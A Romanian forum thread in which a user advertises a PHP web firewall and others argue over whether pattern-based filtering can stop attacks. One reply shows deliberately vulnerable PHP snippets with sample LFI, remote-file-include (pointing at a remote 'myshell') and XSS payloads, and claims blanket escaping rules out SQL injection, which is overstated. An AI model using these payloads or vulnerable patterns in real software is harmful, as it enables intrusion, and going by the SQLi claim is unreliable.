Jump to content
FirewallMake

[Vand] Firewall

Recommended Posts

Acest firewall este creat in PHP. Detine: Securitate impotriva atac-urilor SQLI, XSS , LFI , RFI etc.

Securitate impotriva: Proxy , Tor.

Status:

Total Atac-uri blocate.

Total IP-uri blocate.

Total flood-uri blocate.

Total Bad-Referer blocate.

Total Proxy-uri blocate.

Total Bad U.Agents blocate.

Total Foldere/Fisiere cautate blocate.

Imagini: 20582960.png

91793372.png

94090838.png

54326048.png

71632628.png

32202363gi.png

96312970.png

95183382.png

93816068.png

15929199.png

Detalii la id: shadow.white0@ymail.com

Edited by FirewallMake
Link to comment
Share on other sites

Pe bune? Pai de ce sa il las ma când el vrea sa intepe lumea cu un firewall care se g?se?te si gratuit

Nu tepuieste pe nimeni , cu nimic, atat timp cat este facut de el .

E ca si cum ai spune ca lumea care cumpara programe anti-virus , isi ia teapa pentru ca exista si variante free. E o gandire limitata .

Sau alt exemplu : daca s-ar spune ca tu ai IQ-ul unui gandac , inseamna ca lumea isi ia teapa pentru ca te lasa sa respiri , deoarece sunt oameni mai inteligenti in lumea asta ?

Respecta munca omului ! :)

Link to comment
Share on other sites

Hai sa fim seriosi!

Securitate impotriva proxy , Tor, probabil vrei sa spui ca detectezi proxy-urile si conexiunile prin tor, ar trebui sa specifici metoda cum verifici daca este proxy(verificand porturile comune, daca face forward), nu cred ca ai rata de succes peste 30% !

Protectie impotriva - SQLI, XSS , LFI , RFI etc, poti sa o faci pe baza de pattern-uri, nu cred ca ai tu toate pattern-urile pentru fiecare atac sau ca reusesti sa filtrezi corect toate valorile trimise!

DOS/DDOS nu ai cum sa blochezi, poti doar sa reduci efectele oferind continut putin si static!

Nu as recomanda cuiva sa foloseasca un firewall web facut de o persona necunoscuta, e posibil sa va futeti de tot site-urile!

Link to comment
Share on other sites

merge sau nu... macar omu incearca sa ofere un produs facut de el :) in care a bagat ceva munca :)

am vrut si eu sa fac ceva de genul in trecut dar cred ca este prea ne realist :)

cat despre protectie sqli/xss/lfi/rfi cu patternuri... yeah right!

nu zic nu... merge pana apar alte metode care trec de patternurile alea :)

exemple:


LFI:
.htaccess: RewriteRule ^(.*)\.html$ $1.php
bad:
http://example.php/images/unshell.html

RFI:
<?php
include($_GET['folder'] . "/" . $_GET['fisier'] . ".php");

http://example.com/?folder=http://www.example2.com/&fisier=myshell

xss:
test.php:
<?php
echo "<script>" . $_GET['c'] . "</script>" ;
?> ( am pus cod aiurea ca sa demonstrez o idee )
http://example.com/?c=omg='a' + 'l' + 'e' + 'r' + 't' + '(mda);' ( bine exemplul nu o sa mearga daca plusurile si egalul nu sunt url encoded dar asta e irelevant )

la sqli se poate face ceva ... relativ usor:
introduci in fiecare script ... la inceput
$source = array("_POST" , "_GET" , "_COOKIE");
foreach($source as $ga)
{
$_ga = &$$ga;
foreach($$ga as $key => $val)
{
$_ga[$key] = mysql_real_escape_string($val);
}
}

singura problema reala cu codul de mai sus este ca trebuie sa te conectezi la mysql inainte de a rula codul in rest... nu cred ca se poate face sqli daca ai codul asta


Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...